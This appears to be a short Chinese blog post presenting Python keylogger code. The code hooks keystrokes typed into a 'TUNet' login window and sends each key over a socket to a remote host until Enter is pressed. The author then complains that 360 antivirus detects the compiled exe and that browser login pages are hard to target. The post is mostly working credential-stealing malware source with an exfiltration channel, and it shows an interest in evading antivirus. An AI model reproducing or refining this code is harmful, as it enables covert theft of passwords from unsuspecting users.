捕获某程序运行过程键盘输入,并利用socket模块发送
# -*- coding: cp936 -*-
import pythoncom
import pyHook
import win32api
import re
import socket
port=1234
host=**
def onKeyboardEvent(event):
if re.findall(r'TUNet',str(event.WindowName))!=[]:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(str(event.Key))
s.close()
if str(event.Key)=='Return': #按下enter后终止
win32api.PostQuitMessage()
return True
if __name__ == "__main__":
#创建hook句柄
hm = pyHook.HookManager()
#监控键盘
hm.KeyDown = onKeyboardEvent
hm.HookKeyboard()
#循环获取消息
pythoncom.PumpMessages(1000)
存在问题:
编译成exe后马上被360查出来,利用键盘事件的windowsname来识别在其他程序中,不管用,比如浏览器的某网页登陆界面等等,大部分时候windowsname都是none
参考:
小五义《pyhooks实现键盘监控学习心得》 http://www.cnblogs.com/xiaowuyi/archive/2012/03/15/2398665.html